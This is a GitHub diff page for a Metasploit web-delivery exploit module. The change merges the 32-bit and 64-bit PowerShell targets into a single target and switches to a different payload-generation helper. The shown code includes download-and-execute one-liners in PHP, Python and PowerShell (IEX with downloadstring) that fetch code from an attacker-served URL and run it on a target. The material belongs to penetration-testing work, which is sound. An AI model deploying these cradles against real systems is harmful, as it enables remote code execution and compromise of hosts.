File tree Expand file tree Collapse file tree 1 file changed +8
-8
lines changed
modules/exploits/multi/script Expand file tree Collapse file tree 1 file changed +8
-8
lines changed Original file line number Diff line number Diff line change @@ -55,13 +55,9 @@ def initialize(info = {})
55
55
'Platform' => 'php' ,
56
56
'Arch' => ARCH_PHP
57
57
} ] ,
58
- [ 'PSH_x86 ' , {
58
+ [ 'PSH ' , {
59
59
'Platform' => 'win' ,
60
- 'Arch' => ARCH_X86
61
- } ] ,
62
- [ 'PSH_x64' , {
63
- 'Platform' => 'win' ,
64
- 'Arch' => ARCH_X86_64
60
+ 'Arch' => [ ARCH_X86 , ARCH_X86_64 ]
65
61
} ]
66
62
] ,
67
63
'DefaultTarget' => 0 ,
@@ -72,7 +68,11 @@ def initialize(info = {})
72
68
def on_request_uri ( cli , _request )
73
69
print_status ( 'Delivering Payload' )
74
70
if target . name . include? 'PSH'
75
- data = Msf ::Util ::EXE . to_win32pe_psh_net ( framework , payload . encoded )
71
+ data = cmd_psh_payload ( payload . encoded ,
72
+ payload_instance . arch . first ,
73
+ remove_comspec : true ,
74
+ use_single_quotes : true
75
+ )
76
76
else
77
77
data = %Q(#{ payload . encoded } )
78
78
end
@@ -87,7 +87,7 @@ def primer
87
87
print_line ( "php -d allow_url_fopen=true -r \" eval(file_get_contents('#{ url } '));\" " )
88
88
when 'Python'
89
89
print_line ( "python -c \" import urllib2; r = urllib2.urlopen('#{ url } '); exec(r.read());\" " )
90
- when 'PSH_x86' , 'PSH_x64 '
90
+ when 'PSH '
91
91
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{ url } '))"
92
92
print_line generate_psh_command_line (
93
93
noprofile : true ,
You can’t perform that action at this time.
0 commit comments